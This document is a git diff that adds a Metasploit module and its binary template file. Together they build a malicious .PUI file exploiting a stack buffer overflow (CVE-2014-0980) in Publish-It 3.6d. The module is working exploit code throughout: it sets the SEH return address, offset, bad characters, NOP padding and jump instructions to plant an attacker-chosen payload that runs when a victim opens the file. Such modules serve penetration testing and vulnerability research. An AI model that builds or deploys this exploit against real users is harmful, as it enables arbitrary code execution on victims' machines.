diff --git a/data/exploits/CVE-2014-0980.pui b/data/exploits/CVE-2014-0980.pui new file mode 100644 index 0000000000..e5adbbb801 Binary files /dev/null and b/data/exploits/CVE-2014-0980.pui differ diff --git a/modules/exploits/windows/fileformat/publishit_pui.rb b/modules/exploits/windows/fileformat/publishit_pui.rb new file mode 100644 index 0000000000..b8b825db62 --- /dev/null +++ b/modules/exploits/windows/fileformat/publishit_pui.rb @@ -0,0 +1,82 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Publish-It PUI Buffer Overflow (SEH)', + 'Description' => %q{ + This module exploits a stack based buffer overflow in Publish-It when + processing a specially crafted .PUI file. This vulnerability could be + exploited by a remote attacker to execute arbitrary code on the target + machine by enticing a user of Publish-It to open a malicious .PUI file. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Daniel Kazimirow', # Original discovery + 'Andrew Smith "jakx_"', # Exploit and MSF Module + ], + 'References' => + [ + [ 'OSVDB', '102911' ], + [ 'CVE', '2014-0980' ], + [ 'EDB', '31461' ] + ], + 'DefaultOptions' => + { + 'ExitFunction' => 'process', + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00\x0b\x0a", + 'DisableNops' => true, + 'Space' => 377 + }, + 'Targets' => + [ + [ 'Publish-It 3.6d', + { + 'Ret' => 0x0046e95a, #p/p/r | Publish.EXE + 'Offset' => 1082 + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Feb 5 2014', + 'DefaultTarget' => 0)) + + register_options([OptString.new('FILENAME', [ true, 'The file name.', 'msf.pui']),], self.class) + + end + + def exploit + + path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2014-0980.pui") + fd = File.open(path, "rb") + template_data = fd.read(fd.stat.size) + fd.close + + buffer = template_data + buffer << make_nops(700) + buffer << payload.encoded + buffer << make_nops(target['Offset']-payload.encoded.length-700-5) + buffer << Rex::Arch::X86.jmp('$-399') #long negative jump -399 + buffer << Rex::Arch::X86.jmp_short('$-24') #nseh negative jump + buffer << make_nops(2) + buffer << [target.ret].pack("V") + + print_status("Creating '#{datastore['FILENAME']}' file ...") + file_create(buffer) + + end +end